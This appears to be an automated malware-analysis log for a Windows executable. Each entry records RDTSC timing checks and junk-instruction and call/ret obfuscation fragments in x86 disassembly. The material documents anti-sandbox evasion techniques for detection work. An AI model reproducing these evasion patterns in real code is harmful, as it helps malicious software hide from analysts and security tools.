Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 57421C second address: 574220 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5761ED second address: 576200 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF670C3B91Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 576200 second address: 576206 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 576206 second address: 576293 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF670C3B923h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007FF670C3B918h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 0000001Dh 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 mov dword ptr [ebp+122D31C5h], ecx 0x0000002c mov ebx, edx 0x0000002e push 00000000h 0x00000030 add edi, 56E6BF57h 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push eax 0x0000003b call 00007FF670C3B918h 0x00000040 pop eax 0x00000041 mov dword ptr [esp+04h], eax 0x00000045 add dword ptr [esp+04h], 0000001Bh 0x0000004d inc eax 0x0000004e push eax 0x0000004f ret 0x00000050 pop eax 0x00000051 ret 0x00000052 pushad 0x00000053 sub ecx, dword ptr [ebp+122D37BEh] 0x00000059 popad 0x0000005a sub edi, dword ptr [ebp+122D39B2h] 0x00000060 push eax 0x00000061 push eax 0x00000062 push edx 0x00000063 push eax 0x00000064 push edx 0x00000065 jno 00007FF670C3B916h 0x0000006b rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 576293 second address: 5762A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF67050A37Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 575291 second address: 575297 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 575297 second address: 57529B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5772B1 second address: 5772BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FF670C3B916h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5772BB second address: 5772BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5772BF second address: 57733C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push esi 0x0000000c call 00007FF670C3B918h 0x00000011 pop esi 0x00000012 mov dword ptr [esp+04h], esi 0x00000016 add dword ptr [esp+04h], 00000014h 0x0000001e inc esi 0x0000001f push esi 0x00000020 ret 0x00000021 pop esi 0x00000022 ret 0x00000023 mov dword ptr [ebp+1246C605h], esi 0x00000029 push 00000000h 0x0000002b ja 00007FF670C3B91Ch 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push esi 0x00000036 call 00007FF670C3B918h 0x0000003b pop esi 0x0000003c mov dword ptr [esp+04h], esi 0x00000040 add dword ptr [esp+04h], 0000001Dh 0x00000048 inc esi 0x00000049 push esi 0x0000004a ret 0x0000004b pop esi 0x0000004c ret 0x0000004d mov ebx, dword ptr [ebp+122D1DFBh] 0x00000053 mov edi, dword ptr [ebp+122D3173h] 0x00000059 xchg eax, esi 0x0000005a push eax 0x0000005b push edx 0x0000005c jmp 00007FF670C3B91Eh 0x00000061 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 578314 second address: 578319 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 578319 second address: 57831F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 57831F second address: 5783AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push 00000000h 0x0000000c push ecx 0x0000000d call 00007FF67050A378h 0x00000012 pop ecx 0x00000013 mov dword ptr [esp+04h], ecx 0x00000017 add dword ptr [esp+04h], 00000017h 0x0000001f inc ecx 0x00000020 push ecx 0x00000021 ret 0x00000022 pop ecx 0x00000023 ret 0x00000024 jno 00007FF67050A38Dh 0x0000002a mov edi, dword ptr [ebp+12444771h] 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push esi 0x00000035 call 00007FF67050A378h 0x0000003a pop esi 0x0000003b mov dword ptr [esp+04h], esi 0x0000003f add dword ptr [esp+04h], 0000001Ah 0x00000047 inc esi 0x00000048 push esi 0x00000049 ret 0x0000004a pop esi 0x0000004b ret 0x0000004c sub bx, A65Ah 0x00000051 push eax 0x00000052 push eax 0x00000053 push edx 0x00000054 pushad 0x00000055 jmp 00007FF67050A382h 0x0000005a push edi 0x0000005b pop edi 0x0000005c popad 0x0000005d rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5774FE second address: 577502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 577502 second address: 577506 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 579460 second address: 579488 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jng 00007FF670C3B916h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jp 00007FF670C3B929h 0x00000015 jmp 00007FF670C3B923h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 57A3E6 second address: 57A47E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FF67050A380h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e jmp 00007FF67050A388h 0x00000013 pop ecx 0x00000014 pop edx 0x00000015 nop 0x00000016 jg 00007FF67050A376h 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push ebx 0x00000021 call 00007FF67050A378h 0x00000026 pop ebx 0x00000027 mov dword ptr [esp+04h], ebx 0x0000002b add dword ptr [esp+04h], 0000001Dh 0x00000033 inc ebx 0x00000034 push ebx 0x00000035 ret 0x00000036 pop ebx 0x00000037 ret 0x00000038 movsx edi, cx 0x0000003b mov bx, si 0x0000003e push 00000000h 0x00000040 push 00000000h 0x00000042 push edx 0x00000043 call 00007FF67050A378h 0x00000048 pop edx 0x00000049 mov dword ptr [esp+04h], edx 0x0000004d add dword ptr [esp+04h], 00000014h 0x00000055 inc edx 0x00000056 push edx 0x00000057 ret 0x00000058 pop edx 0x00000059 ret 0x0000005a jno 00007FF67050A37Ch 0x00000060 push eax 0x00000061 pushad 0x00000062 pushad 0x00000063 pushad 0x00000064 popad 0x00000065 push eax 0x00000066 push edx 0x00000067 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 57C54C second address: 57C552 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 57C552 second address: 57C556 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 57C556 second address: 57C55A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 57D748 second address: 57D75C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF67050A380h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 57D75C second address: 57D760 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 57D760 second address: 57D7B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b call 00007FF67050A37Bh 0x00000010 mov dword ptr [ebp+122D32E2h], esi 0x00000016 pop ebx 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push eax 0x0000001c call 00007FF67050A378h 0x00000021 pop eax 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 add dword ptr [esp+04h], 0000001Ah 0x0000002e inc eax 0x0000002f push eax 0x00000030 ret 0x00000031 pop eax 0x00000032 ret 0x00000033 push 00000000h 0x00000035 and edi, 340EB447h 0x0000003b xchg eax, esi 0x0000003c push eax 0x0000003d push edx 0x0000003e jl 00007FF67050A378h 0x00000044 pushad 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 57D7B4 second address: 57D7D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF670C3B926h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 57D7D4 second address: 57D7D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 57B642 second address: 57B648 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 57B717 second address: 57B71E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 57C6EE second address: 57C704 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f ja 00007FF670C3B916h 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 57D91A second address: 57D920 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 57D920 second address: 57D9A6 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FF670C3B91Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d jnl 00007FF670C3B916h 0x00000013 jns 00007FF670C3B916h 0x00000019 popad 0x0000001a push ecx 0x0000001b push edx 0x0000001c pop edx 0x0000001d pop ecx 0x0000001e popad 0x0000001f nop 0x00000020 mov bx, ax 0x00000023 mov dword ptr [ebp+122D57F4h], ebx 0x00000029 push dword ptr fs:[00000000h] 0x00000030 mov edi, dword ptr [ebp+122D3826h] 0x00000036 mov dword ptr fs:[00000000h], esp 0x0000003d push 00000000h 0x0000003f push edi 0x00000040 call 00007FF670C3B918h 0x00000045 pop edi 0x00000046 mov dword ptr [esp+04h], edi 0x0000004a add dword ptr [esp+04h], 0000001Bh 0x00000052 inc edi 0x00000053 push edi 0x00000054 ret 0x00000055 pop edi 0x00000056 ret 0x00000057 mov edi, dword ptr [ebp+122D3972h] 0x0000005d cmc 0x0000005e mov eax, dword ptr [ebp+122D10DDh] 0x00000064 add ebx, dword ptr [ebp+122D3892h] 0x0000006a push FFFFFFFFh 0x0000006c xor dword ptr [ebp+122D1DC6h], ebx 0x00000072 push eax 0x00000073 push ebx 0x00000074 push ebx 0x00000075 push eax 0x00000076 push edx 0x00000077 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5806FA second address: 5806FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5806FE second address: 580748 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jg 00007FF670C3B916h 0x0000000d pop esi 0x0000000e popad 0x0000000f push eax 0x00000010 push ecx 0x00000011 jmp 00007FF670C3B925h 0x00000016 pop ecx 0x00000017 nop 0x00000018 cmc 0x00000019 push 00000000h 0x0000001b add edi, 4E650867h 0x00000021 push 00000000h 0x00000023 xor dword ptr [ebp+122D1D92h], edx 0x00000029 push eax 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007FF670C3B91Eh 0x00000031 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 57F8F9 second address: 57F907 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007FF67050A376h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 580748 second address: 58074D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 580846 second address: 58084A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 58084A second address: 580850 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 580850 second address: 580865 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jnc 00007FF67050A376h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push esi 0x00000011 pop esi 0x00000012 push edi 0x00000013 pop edi 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 580865 second address: 58087D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF670C3B924h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 58087D second address: 580912 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF67050A376h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov ebx, dword ptr [ebp+122D2BD1h] 0x00000013 push dword ptr fs:[00000000h] 0x0000001a sub edi, dword ptr [ebp+122D1D7Fh] 0x00000020 mov dword ptr fs:[00000000h], esp 0x00000027 jmp 00007FF67050A384h 0x0000002c mov eax, dword ptr [ebp+122D0689h] 0x00000032 or edi, 39E8F891h 0x00000038 push FFFFFFFFh 0x0000003a push 00000000h 0x0000003c push esi 0x0000003d call 00007FF67050A378h 0x00000042 pop esi 0x00000043 mov dword ptr [esp+04h], esi 0x00000047 add dword ptr [esp+04h], 00000018h 0x0000004f inc esi 0x00000050 push esi 0x00000051 ret 0x00000052 pop esi 0x00000053 ret 0x00000054 add ebx, dword ptr [ebp+122D3B0Eh] 0x0000005a mov dword ptr [ebp+122D3762h], edx 0x00000060 nop 0x00000061 pushad 0x00000062 jns 00007FF67050A37Ch 0x00000068 jmp 00007FF67050A37Ah 0x0000006d popad 0x0000006e push eax 0x0000006f push eax 0x00000070 push edx 0x00000071 push eax 0x00000072 push edx 0x00000073 pushad 0x00000074 popad 0x00000075 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 580912 second address: 580922 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF670C3B91Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 580922 second address: 58093C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF67050A386h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 588D18 second address: 588D23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FF670C3B916h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 588D23 second address: 588D28 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 588D28 second address: 588D61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007FF670C3B91Eh 0x0000000b popad 0x0000000c jmp 00007FF670C3B929h 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 jo 00007FF670C3B91Ch 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 588667 second address: 58866C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 58866C second address: 588671 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 588671 second address: 588679 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 588679 second address: 5886C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF670C3B929h 0x00000009 popad 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d jmp 00007FF670C3B920h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push edi 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FF670C3B921h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 588802 second address: 588817 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF67050A37Dh 0x00000009 popad 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 588817 second address: 58881D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 58E64A second address: 58E671 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007FF67050A376h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [eax] 0x00000010 jmp 00007FF67050A37Bh 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c pushad 0x0000001d popad 0x0000001e pushad 0x0000001f popad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5943F7 second address: 5943FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 594699 second address: 5946D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FF67050A376h 0x0000000a jp 00007FF67050A376h 0x00000010 popad 0x00000011 push edx 0x00000012 jmp 00007FF67050A37Dh 0x00000017 pop edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FF67050A383h 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5946D0 second address: 5946E2 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FF670C3B916h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5946E2 second address: 5946E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 594E08 second address: 594E13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 594E13 second address: 594E17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 594E17 second address: 594E21 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FF670C3B916h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 594E21 second address: 594E48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FF67050A37Dh 0x0000000d jmp 00007FF67050A382h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 597C23 second address: 597C27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 597C27 second address: 597C3C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF67050A381h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 568CEE second address: 568CF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 59C956 second address: 59C96F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF67050A37Dh 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 59C96F second address: 59C989 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF670C3B926h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 59D903 second address: 59D911 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jo 00007FF67050A376h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5A4DB4 second address: 5A4DBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5A4DBA second address: 5A4DBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5A4DBE second address: 5A4DE6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a pop eax 0x0000000b jbe 00007FF670C3B916h 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jbe 00007FF670C3B922h 0x0000001c jnc 00007FF670C3B916h 0x00000022 jp 00007FF670C3B916h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5A3D8E second address: 5A3D92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5A3D92 second address: 5A3D98 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5A405D second address: 5A4061 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5A4061 second address: 5A4067 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5A41F5 second address: 5A4203 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5A45F1 second address: 5A45FB instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF670C3B916h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	RDTSC instruction interceptor: First address: 5ACADF second address: 5ACAE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
